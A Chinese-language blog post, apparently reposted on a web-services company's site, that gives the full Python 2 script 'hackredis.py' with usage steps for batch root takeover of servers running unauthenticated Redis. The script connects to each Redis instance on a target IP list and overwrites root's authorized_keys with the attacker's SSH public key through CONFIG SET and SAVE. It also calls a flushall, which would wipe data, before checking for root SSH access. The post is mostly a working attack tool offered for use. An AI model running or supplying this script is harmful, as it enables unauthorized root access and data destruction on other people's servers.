全网整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:400-708-3566

python脚本实现Redis未授权批量提权

前言

本文主要给大家介绍了关于redis未授权批量提权的相关内容,分享出来供大家参考学习,下面话不多说了,来一起看看详细的介绍吧。

安装依赖

 sudo easy_install redis

使用

redis python hackredis.py         
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]

For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22

optional arguments:
 -h, --help  show this help message and exit
 -l IPLIST  the hosts of target
 -p PORT  the redis default port
 -r ID_RSAFILE the ssh id_rsa file you generate
 -sp SSH_PORT the ssh port

首先需要ssh密钥:

ssh-keygen -t rsa
 cp ~/.ssh/id_rsa.pub /tmp/foo.txt

之后将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

#!/usr/bin/python
#coding:utf-8
#############################################################
## @file hackredis.py         ##
## @date 2015-12-11          ##
## @author evi1cg           ##
#############################################################
import redis
import argparse
import textwrap
import sys
import pexpect
def getargs():
 parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/
 For Example:
 -----------------------------------------------------------------------------
 python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))
 parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')
 parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')
 parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')
 parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')
 if(len(sys.argv[1:]) / 2 != 4):
 sys.argv.append('-h')
 return parser.parse_args()

def hackredis(host,port):
 ck = 0
 try:
 print "[*] Attacking ip:%s"%host
 r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)
 r.flushall
 r.set('crackit',foo)
 r.config_set('dir','/root/.ssh/')
 r.config_set('dbfilename','authorized_keys')
 r.save()
 ck =1
 except:
 print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host
 write(host,2)
 ck =0
 if ck == 1:
 check(host)
 else:
 pass

def check(host):
 print '/033[1;33;40m[*]/033[0m Check connecting... '
 try:
 ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))
 i = ssh.expect('[#/$]',timeout=2)
 if i == 0:
  print "/033[1;34;40m[+]/033[0m Success !"
  write(host,1)
 else:
  pass
 except:
 print "/033[1;32;40m[-]/033[0m Failed to connect !"
 write(host,3)
def write(host,suc):
 if suc == 1:
 filesname = 'success.txt'
 elif suc ==2:
 filesname = 'fail.txt'
 elif suc ==3:
 filesname = 'unconnect.txt'
 else:
 pass
 file_object = open(filesname,'a')
 file_object.write(host+'/n')
 file_object.close()


def main():
 global foo,ssh_port
 paramsargs = getargs()
 try:
 hosts = open(paramsargs.iplist,"r")
 except(IOError):
 print "Error: Check your hostfile path/n"
 sys.exit(1) 
 port = paramsargs.port
 ssh_port = paramsargs.ssh_port
 try:
 foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'
 except(IOError):
 print "Error: Check your wordlist path/n"
 sys.exit(1)  
 ips = [p.replace('/n','') for p in hosts]
 for ip in ips:
 hackredis(ip.strip(),port)


if __name__ == "__main__":
 main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对的支持。


# redis  # 提权  # 未授权  # python  # 关于Redis未授权访问漏洞利用的介绍与修复建议  # Redis未授权访问配合SSH key文件利用详解  # 关于Redis未授权访问的问题  # 解析Redis未授权访问漏洞复现与利用危害  # 使用python脚本实现Redis未授权访问检测  # Web-ssrfme:redis 未授权访问攻击的问题解决  # 相关内容  # 将会  # 说了  # 不多  # 给大家  # 跑了  # 这篇文章  # 后将  # 谢谢大家  # 填入  # 就可以  # 有疑问  # tmp  # port  # default  # success  # pub  # id_rsa  # file  # generate 


相关文章: 如何在IIS中新建站点并配置端口与物理路径?  如何在服务器上配置二级域名建站?  如何快速搭建支持数据库操作的智能建站平台?  建站主机选购指南与交易推荐:核心配置解析  建站之星图片链接生成指南:自助建站与智能设计教程  如何零成本快速生成个人自助网站?  建站之星安装失败:服务器环境不兼容?  c# await 一个已经完成的Task会发生什么  建站之星五站合一营销型网站搭建攻略,流量入口全覆盖优化指南  如何高效利用200m空间完成建站?  官网建站费用明细查询_企业建站套餐价格及收费标准指南  建站之星安全性能如何?防护体系能否抵御黑客入侵?  网站制作知乎推荐,想做自己的网站用什么工具比较好?  深圳 网站制作,深圳招聘网站哪个比较好一点啊?  东莞市网站制作公司有哪些,东莞找工作用什么网站好?  如何通过服务器快速搭建网站?完整步骤解析  高端建站三要素:定制模板、企业官网与响应式设计优化  建站之星如何优化SEO以实现高效排名?  南京网站制作费用,南京远驱官方网站?  东莞专业网站制作公司有哪些,东莞招聘网站哪个好?  如何在宝塔面板中创建新站点?  教程网站设计制作软件,怎么创建自己的一个网站?  高端网站建设与定制开发一站式解决方案 中企动力  javascript中的try catch异常捕获机制用法分析  建站之星云端配置指南:模板选择与SEO优化一键生成  内网网站制作软件,内网的网站如何发布到外网?  如何配置IIS站点权限与局域网访问?  TestNG的testng.xml配置文件怎么写  c# 在高并发场景下,委托和接口调用的性能对比  公司网站的制作公司,企业网站制作基本流程有哪些?  如何在Windows虚拟主机上快速搭建网站?  如何快速搭建自助建站会员专属系统?  C#如何在一个XML文件中查找并替换文本内容  在线ppt制作网站有哪些软件,如何把网页的内容做成ppt?  建站之星如何保障用户数据免受黑客入侵?  如何用IIS7快速搭建并优化网站站点?  平台云上自助建站如何快速打造专业网站?  网站规划与制作是什么,电子商务网站系统规划的内容及步骤是什么?  实例解析Array和String方法  logo在线制作免费网站在线制作好吗,DW网页制作时,如何在网页标题前加上logo?  微课制作网站有哪些,微课网怎么进?  如何在IIS服务器上快速部署高效网站?  小米网站链接制作教程,请问miui新增网页链接调用服务有什么用啊?  C#如何序列化对象为XML XmlSerializer用法  如何通过WDCP绑定主域名及创建子域名站点?  山东网站制作公司有哪些,山东大源集团官网?  如何在Windows服务器上快速搭建网站?  全景视频制作网站有哪些,全景图怎么做成网页?  整蛊网站制作软件,手机不停的收到各种网站的验证码短信,是手机病毒还是人为恶搞?有这种手机病毒吗?  建站主机是否等同于虚拟主机? 

您的项目需求

*请认真填写需求信息,我们会在24小时内与您取得联系。